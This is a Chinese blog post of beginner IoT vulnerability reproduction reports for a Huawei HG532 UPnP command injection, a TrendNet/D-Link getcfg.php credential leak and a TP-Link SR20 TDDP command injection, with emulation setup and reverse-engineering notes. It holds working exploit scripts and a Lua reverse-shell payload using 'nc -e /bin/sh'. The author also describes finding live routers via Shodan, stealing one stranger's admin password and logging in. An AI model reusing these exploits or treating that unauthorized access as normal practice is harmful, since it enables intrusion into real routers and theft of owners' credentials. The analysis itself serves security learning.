说在最前面
前几天去上饶打完了“饶派杯”XCTF车联网安全挑战赛,不出意外的话,这应该是我打的最后一场CTF比赛了。因为马上暑假就准备考研的备考了,大三应该也不会有空打比赛了。很高兴和队友第一次打车联网比赛就AK了实车破解赛道,最后拿了冠军和5w奖金也算是CTF比赛生涯圆满收官了!
这两天就在整理电脑上存着的CTF和IoT相关材料,也算是暂时告别这些了。然后,我发现大一刚入坑IoT的时候写过几份很经典的老漏洞的复现报告,有几份之前发在了看雪论坛上,剩下的应该也给过一些想入门IoT的朋友但没公开过。现在看来写的是相当稚嫩的,不过给新手师傅们做做参考应该还是没啥问题的hhh
在本文中,我将之前没公开的几份漏洞报告都贴出来了,正好也是三个不同的主流厂商的经典漏洞,希望能给各位新手师傅带来一些帮助和启发。这几份报告也是笔者刚入门的时候写的,如有错误请大家指出,多多包涵。
之前同时期在看雪论坛上发的几篇(其实里面有一些写的不太对的地方):
CNVD-2018-01084 漏洞复现报告(service.cgi 远程命令执行漏洞)
由于本文复现的设备固件都比较老,有些现在已经不容易下载到,故笔者将固件打包放在了附件中,方便各位师傅进行复现。
华为HG532路由器RCE漏洞
前言
CVE-2017-17215是CheckPoint团队披露的远程命令执行(RCE)漏洞,存在于华为HG532路由器中。
该设备支持名为DeviceUpgrade的一种服务类型,可通过向/ctrlt/DeviceUpgrade_1的地址提交请求,来执行固件的升级操作。
可通过向37215端口发送数据包,启用UPnP协议服务,并利用该漏洞,在NewStatusURL或NewDownloadURL标签中注入任意命令以执行。
漏洞披露:https://research.checkpoint.com/2017/good-zero-day-skiddie/
固件包(见附件):HG532eV100R001C02B015_upgrade_main.bin
准备工作
注:笔者在Ubuntu-20.04环境下对该漏洞进行了复现。
配置网络环境
安装网络配置工具:apt-get install bridge-utils uml-utilities
随后执行命令:sysctl -w net.ipv4.ip_forward=1
1. 修改ubuntu网络配置文件/etc/network/interfaces
修改/etc/network/interfaces文件为:
auto lo
iface lo inet loopback
auto eth0
iface eth0 inet dhcp
up ifconfig eth0 0.0.0.0 up
auto br0
iface br0 inet dhcp
bridge_ports eth0
bridge_maxwait 0
这里的话,我上面写的是eth0,但是每个人的情况会不一样,建议先用ip addr命令看看有没有eth0这个接口,有些可能是ens33,那就把上面的eth0全部换成ens33,或者将/etc/default/grub文件中GRUB_CMDLINE_LINUX=""的双引号中加上net.ifnames=0 biosdevname=0,然后再sudo grub-mkconfig -o /boot/grub/grub.cfg,重启系统后,就应该变为eth0了。
在修改完/etc/network/interfaces之后,需要用sudo /etc/init.d/networking restart命令重启一下网络配置。
2. 编辑qemu的网络接口启动脚本/etc/qemu-ifup
之后会讲到qemu的安装,若是还没安装qemu,请等qemu安装完成后再配置此项。
在/etc/qemu-ifup文件中写入:
#!/bin/sh
echo "Executing /etc/qemu-ifup"
echo "Bringing up $1 for bridge mode..."
sudo /sbin/ifconfig $1 0.0.0.0 promisc up
echo "Adding $1 to br0..."
sudo /sbin/brctl addif br0 $1
sleep 2
若是本身就没有这个文件的话,就先创建后写入,再用sudo chmod a+x /etc/qemu-ifup命令赋予权限。
3. 创建包含qemu使用的所有桥的名称的配置文件/etc/qemu/bridge.conf
在/etc/qemu/bridge.conf中写入allow br0即可。
注:在网络环境按上述配置完成后,建议重启下Ubuntu虚拟机。
解压固件并查看信息
这里主要是指从固件中提取出文件系统,主要用到binwalk工具,及其配套工具sasquatch(若是没有sasquatch,则无法成功地提取出文件系统)。
binwalk安装:sudo apt install binwalk
sasquatch安装:https://github.com/devttys0/sasquatch
安装完成后,执行binwalk -Me HG532eV100R001C02B015_upgrade_main.bin命令,并在解压出来的squashfs-root文件夹内可以看到文件系统,包含bin,etc,lib等文件夹。
我们可以在bin文件夹内找到存在漏洞的upnp二进制文件,并使用checksec upnp查看其信息:
Arch: mips-32-big
RELRO: No RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x400000)
RWX: Has RWX segments
可以看到,这是一个32位大端序的mips架构下的二进制文件,并且没有开任何保护。
配置qemu虚拟机并连接
我们用的是x86_64架构,所以需要qemu来模拟mips环境,qemu的安装命令如下:
sudo apt-get install qemu
sudo apt-get install qemu-user-static
sudo apt-get install qemu-system
由于该固件是32位大端序的mips架构,因此,我们也要下载相对应的内核及镜像文件。
下载地址:https://people.debian.org/~aurel32/qemu/mips/.
下载其中的vmlinux-2.6.32-5-4kc-malta内核以及debian_squeeze_mips_standard.qcow2镜像文件。
启动脚本(放在刚刚下载的两个文件的同一目录下):
#!/bin/bash
sudo qemu-system-mips \
-M malta -kernel vmlinux-2.6.32-5-4kc-malta \
-hda debian_squeeze_mips_standard.qcow2 \
-append "root=/dev/sda1 console=tty0" \
-net nic,macaddr=00:16:3e:00:00:01 \
-net tap
命名为start.sh,用chmod +x start.sh赋予可执行权限,再用./start.sh即可启动qemu了。
qemu的初始账号密码为root/root。
进入qemu后,先用ip addr命令(或者ifconfig命令)看一下网卡,不出意外的话,第一个应该是eth1。
然后在qemu中,用nano /etc/network/interfaces命令修改其中内容为:
allow-hotplug eth1
iface eth1 inet dhcp
也就是将原先的eth0改为你的第一个网卡名称,我这里就是eth1。
然后再用ifup eth1命令启用eth1接口或者干脆重启qemu之后,再ip addr,就可以看到:
2: eth1: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UNKNOWN qlen 1000
link/ether 00:16:3e:00:00:01 brd ff:ff:ff:ff:ff:ff
inet 192.168.192.133/24 brd 192.168.192.255 scope global eth1
inet6 fe80::216:3eff:fe00:1/64 scope link
valid_lft forever preferred_lft forever
其中,192.168.192.133就是我这里qemu的ip了,用同样的方法,在host主机(Ubuntu系统)上执行ip addr命令,也可以拿到主机的ip。
接着,我们需要将固件提取出来的文件系统拷贝到qemu的镜像文件的root目录下,进入固件解压出的文件夹后,执行scp -r ./squashfs-root root@192.168.192.133:/root/命令即可。
由于在qemu中不太好操作,建议用ssh命令在host主机上连接到qemu虚拟机:ssh root@192.168.192.133,这样就能在host主机的终端上操作qemu虚拟机了。
验证漏洞并复现
根据官方的漏洞报告,我们知道漏洞存在于/bin/upnp二进制文件中,先将其拖进IDA中进行逆向分析:
漏洞定位
1. 用官方报告中提及的NewStatusURL或NewDownloadURL字符串定位

2. 找到存在漏洞的代码段并创建函数

3. 反编译出伪C代码,便于观看

漏洞分析
观察到上图第18行会将我们发送的标签的内容写入字符串,并在之后会用system执行该字符串,这就很明显会存在一个任意命令执行的漏洞,我们可以将;<cmd>;写入标签,由于;可连接两个独立语句并执行,因此,就能执行我们的cmd命令了。
这里的反编译其实有些问题,第18行应该是:snprintf(v6, 1024, "upg -g -U %s -t '1 Firmware Upgrade Image' -c upnp -r %s -d -b", v4, v5);,这里少了个参数。
至此,我们发现,可以在NewStatusURL或NewDownloadURL标签中注入任意命令以执行。
漏洞复现
我们首先要更换原始镜像文件的根目录为从固件中提取的文件系统的根目录:
cd squashfs-root
chroot . sh
接着,我们按照官方报告中所说,需要打开37215端口,并向该端口下的/ctrlt/DeviceUpgrade_1地址发送数据包,才能启用UPnP服务。
通过grep -r '37215'命令可以查到,/bin/mic这个二进制文件中有这个端口,我们便猜测可以通过运行/bin/mic文件来打开37215端口(用sudo nmap 192.168.192.133 -p1-65535命令扫描到qemu虚拟机中所有打开的端口,或者用nc -vv 192.168.192.133 37215命令看看能否成功连接上37215端口)。
运行/bin/mic文件后会报一系列错误信息并最后将卡在那里,这些都不用管,只要37215端口是正常开着的就行,此时不能ctrl+Z关掉mic文件的运行,不然37215端口肯定也会跟着被关闭。
最后,我们就可以打exp并成功复现完CVE-2017-17215这个漏洞了!
附上exp:
import requests
Authorization = "Digest username=dslf-config, realm=HuaweiHomeGateway, nonce=88645cefb1f9ede0e336e3569d75ee30, uri=/ctrlt/DeviceUpgrade_1, response=3612f843a42db38f48f59d2a3597e19c, algorithm=MD5, qop=auth, nc=00000001, cnonce=248d1a2560100669"
headers = {"Authorization": Authorization}
print("-----CVE-2017-17215 HUAWEI HG532 RCE-----\n")
cmd = input("command > ")
data = f'''
<?xml version="1.0" ?>
<s:Envelope s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/" xmlns:s="http://schemas.xmlsoap.org/soap/envelope/">
<s:Body>
<u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1">
<NewStatusURL>winmt</NewStatusURL>
<NewDownloadURL>;{cmd};</NewDownloadURL>
</u:Upgrade>
</s:Body>
</s:Envelope>
'''
r = requests.post('http://192.168.192.133:37215/ctrlt/DeviceUpgrade_1', headers = headers, data = data)
print("\nstatus_code: " + str(r.status_code))
print("\n" + r.text)
复现演示



D-Link 登录信息泄露(权限绕过)漏洞
前言
漏洞编号CVE-2018-7034,影响D-Link和TrendNet的一些老设备。
固件包(见附件):TEW751DR_FW103B03.bin
这里分析的是TrendNet TEW751的固件,此外D-Link的一些老设备,如DIR645,DIR815等也都受该漏洞影响。
漏洞分析
存在漏洞的文件是/htdocs/web/getcfg.php:

可以看到第34行会加载进来一个文件,而该文件的路径在第32行,其中$GETCFG_SVC是通过POST请求传进来的$_POST["SERVICES"],因此,这个任意文件的加载是我们可控的。但是,前提是要满足$AUTHORIZED_GROUP >= 0。
那么我们加载什么文件呢?这个文件的路径得在/htdocs/webinc/getcfg目录下,且后缀得是.xml.php,我们关注到了/htdocs/webinc/getcfg/DEVICE.ACCOUNT.xml.php这个文件:

可通过加载这个文件泄露账户密码这些敏感信息。
但是,我们首先还是得先知道如何绕过全局变量$AUTHORIZED_GROUP >= 0的检查,我们传入的数据都是先通过登录验证文件htdocs/cgibin进行脚本语言解析后,再将解析好的URL结构发送给这里的php文件。
因此,我们需要逆向分析cgibin文件,由于这里的webserver运行的是php脚本,那么这个二进制文件中重点的就是处理php语言的部分,也就是phpcgi。
逆向分析
进入main函数:

进入phpcgi_main函数:

首先看到这里,sobj_new函数先动态分配一个空间存放解析的URL字符串,这里圈出来的最先拼接的字符串是我们传进来的第一个参数,也就是传入main的argv[0](phpcgi)的后一个参数:

然后,下面的for循环就是在读取我们的环境变量并拼接起来,拼接好的结果如下:

紧接着,就是读取请求方式的环境变量了,按照上面的分析,我们这里得是POST请求方式:

这样就是会调用cgibin_parse_request函数,其中parse_uri函数会对请求进行进一步的解析,之后再看到这里:

这里其实是调用了sub_40445C函数,里面有一个read函数,我们POST请求的内容也就是从这里读进去的:

然后会走到sub_403864函数:

这里的v9函数指针其实就是cgibin_parse_request函数传进去的第一个参数sub_405AC0:

这里会按照POST请求对输入的内容进行解析,就是找到一个=,再将前后分离并拼接,然后将解析好的内容拼接到上面的字符串之后。
接下来,会有一个session的验证:

这里要打开/var/session/sesscfg文件,这个在我们模拟的环境中是没有的,所以需要patch掉:

可以看到这里就会将AUTHORIZED_GROUP写入上面的字符串之后了,而我们就是需要让$AUTHORIZED_GROUP >= 0才行。
我们动态调试一下,发现$AUTHORIZED_GROUP写到了我们之前POST解析好的字符串之后:

我们解析好的字符串结构每个都是...=...\n的形式,因此,我们可以想到,在POST的内容里伪造加上%0aAUTHORIZED_GROUP=1,这样在getcfg.php中就会先取到这里的1,也就满足$AUTHORIZED_GROUP >= 0的判断了:

综上,我们POST发送的内容应该为SERVICES=DEVICE.ACCOUNT%0aAUTHORIZED_GROUP=1。
不过,这里还有一个问题,就是在xmldbc_ephp函数中,会走到:

这里在我们qemu模拟的环境中是无法连接上的,由于之后还要发送数据,这里也不好直接patch掉,因此,在本地是不好复现的,不过,我们可以打远程。
复现演示
使用 shodan( https://www.shodan.io/search?query=tew-751dr ) 查找到还在用此路由器设备的站点:

我们用POC:curl -d "SERVICES=DEVICE.ACCOUNT%0aAUTHORIZED_GROUP=1" "http://[ip]/getcfg.php",随便找一个打一下:

其中,使用了curl命令,-d就是发送POST请求,可以看到,我们成功拿到了管理员账户和密码!
并且,我们可以成功登录:

成功地进入到了后台:

至此,该漏洞复现成功。
TP-Link SR20 命令执行漏洞
前言
查阅相关资料可知,TDDP协议(TP-LINK Device Debug Protocol) 是TP-LINK申请了专利的一种在UPD通信的基础上设计的协议,而Google安全专家Matthew Garrett在TP-Link SR20设备上的TDDP协议文件中发现了一处可造成 “允许来自本地网络连接的任意命令执行” 的漏洞。
复现环境:Ubuntu 20.04
固件包下载:https://static.tp-link.com/2018/201806/20180611/SR20(US)_V1_180518.zip
TDDP 协议

其中,TDDP报头中的Ver字段是版本号,分为V1和V2两个版本,V1版本是不需要进行身份认证的;Type字段是报文类型,编号及类型的对照如下:
4:CMD_AUTO_TEST 6: CMD_CONFIG_MAC 7: CMD_CANCEL_TEST
8: CMD_REBOOT_FOR_TEST 0XA:CMD_GET_PROD_ID 0XC: CMD_SYS_INIT
0XD: CMD_CONFIG_PIN 0X30: CMD_FTEST_USB 0X31: CMD_FTEST_CONFIG
根据公开的漏洞信息,这个漏洞存在于V1版本下的0X31: CMD_FTEST_CONFIG类型处。
逆向分析
对固件包解压后,找到存在漏洞的文件位于/usr/bin/tddp,将其拖进IDA进行静态分析。
由于我们找不到主函数,因此先观察到_start函数,由此可以看到其跳转到的sub_971C就是main函数,并将其重命名为main:


可以发现,sub_16C90函数是对动态内存的初始化分配,而sub_16D40函数是对分配的动态内存进行回收,因此关键在于中间的sub_936C函数:

上面圈出的一堆函数是对内存的初始化以及对socket套接字的初始化,其中值得关注的是sub_16D68函数:

这里的a2是传进来的参数1040,htons函数是将整型变量从主机字节顺序转变成网络字节顺序,而bind函数是将一个本地地址与一个套接口进行绑定,这个函数的目的就是将socket套接字绑定到了1040端口上。
继续往下看,其中sub_9340函数是获取了当前时间,对于我们不重要,因此就走到了sub_16418函数:


在这里发现了一个关键的函数recvfrom(),该函数的原型是:ssize_t recvfrom(int sockfd,void *buf,size_t len,unsigned int flags, struct sockaddr *from,socklen_t *fromlen),用来接收远程主机经指定的socket传来的数据,并把数据传到由参数buf指向的内存空间。
也就是说,我们向启动了tddp的目标IP的1040端口通过socket套接字传输TDDP包(报头+数据),数据包的内容就被存放在a1 + 45083中。

从上图可以看出,v2就是接收到的TDDP数据包,其中的判断if ( v2 == 1 )自然就是判断TDDP协议的版本号,漏洞点就在Version 1,也就是这个if分支中,并容易发现,sub_15E74函数就是对Type类型的判断:

我们找到漏洞点所在的case 0x31处:

进入到sub_A580函数中:

从上图可以看到,当TDDP协议是Version 1的时候,v18会从TDDP包的首地址往后移12个字节,也就是从“报头”移动到“数据”的首地址(见上面的TDDP协议结构图),接着就到了一个sscanf函数:

这个sscanf函数将传进来的TDDP包数据区按照分离符;分为s和v9两个字符串,其中利用“正则表达式”过滤了s中的;,之后,字符串s拼接到了cd /tmp;tftp -gr的后面,这显然是一个shell命令,而s拼接上去很可能就导致了任意命令的执行,我们来看sub_91DC函数:

可见,这里的确就是一个shell命令的执行,此处,我们有两种利用方式:
1.字符串s在sscanf分离的时候仅过滤了;,而 |和& 也可以作为连接符,对两句独立命令进行连接。
2.tftp -gr ...命令是利用FTP协议,从...路径下载文件,在这里是保存到/tmp目录下,再看到后面:

这里先是将利用FTP协议下载的文件所保存的路径放在了name字符串中,然后通过luaL_loadfile函数对Lua脚本进行加载运行。
因此,我们若是想传一个路径到字符串s中也是可以的,不过需要先搭建TFTP Server,然后在某目录下放一个可执行恶意命令的Lua脚本文件。
漏洞复现
搭建 TFTP Server
1.执行sudo apt install atftpd命令安装atftpd
2.将/etc/default/atftpd文件改成如下内容:
USE_INETD=false
# OPTIONS below are used only with init script
OPTIONS="--tftpd-timeout 300 --retry-timeout 5 --mcast-port 1758 --mcast-addr 239.239.239.0-255 --mcast-ttl 1 --maxthread 100 --verbose=5 /tftpboot"
3.新建/tftpboot目录,并赋予777权限,然后在/tftpboot目录下放一个可执行反弹shell命令的Lua脚本文件payload:
function config_test(config)
os.execute("/bin/nc -e /bin/sh 192.168.192.131 8888")
end
其中,192.168.192.131是Ubuntu宿主机的IP。
4.执行sudo systemctl start atftpd命令启动TFTP服务即可
5.执行sudo systemctl status atftpd命令可查看atftpd服务状态,若是提示atftpd: can't bind port :69/udp无法绑定端口,则可先执行sudo systemctl stop inetutils-inetd.service命令来停用inetutils-inetd服务,然后再执行sudo systemctl restart atftpd命令重启TFTP服务
QEMU 环境配置
从 Debian 官网 下载内核,磁盘文件及镜像文件:
debian_wheezy_armhf_standard.qcow2
启动脚本如下:
#!/bin/bash
sudo qemu-system-arm \
-M vexpress-a9 \
-kernel vmlinuz-3.2.0-4-vexpress \
-initrd initrd.img-3.2.0-4-vexpress \
-drive if=sd,file=debian_wheezy_armhf_standard.qcow2 \
-append "root=/dev/mmcblk0p2 console=ttyAMA0" \
-net nic -net tap \
-nographic
老规矩,先用scp命令将固件包解压出的squashfs-root文件夹上传到QEMU虚拟机。
启动好QEMU之后,肯定是需要更换根目录到固件包解压出的文件系统下,但是由于用的是busybox,其中的nc是简化版的,不好完美地反弹shell,因此我们需要执行以下命令,将镜像文件系统中的nc拷贝到固件包解压出的文件系统下并挂载目录(因为chroot默认不会切换/dev和/proc),然后再切换根目录:
cd squashfs-root
cp /bin/nc.traditional ./bin
mv ./bin/nc.traditional ./bin/nc
cp /lib/arm-linux-gnueabihf/libc.so.6 ./lib/arm-linux-gnueabihf
cp /lib/ld-linux-armhf.so.3 ./lib
mount -o bind /dev ./dev
mount -t proc /proc ./proc
chroot . sh
exp
根据上述分析,很容易写出如下利用脚本:
from socket import *
import sys
tddp_port = 1040
ip = sys.argv[1] # 192.168.192.130 (QEMU虚拟机的IP)
command = sys.argv[2]
s_send = socket(AF_INET, SOCK_DGRAM, 0)
payload = b'\x01\x31'.ljust(12, b'\x00')
payload += b"%s;winmt" % command
s_send.sendto(payload, (ip, tddp_port))
s_send.close()
利用 | 或 & 分隔命令造成命令执行

利用TFTP协议传Lua脚本造成命令执行

附件下载:Firmware.zip
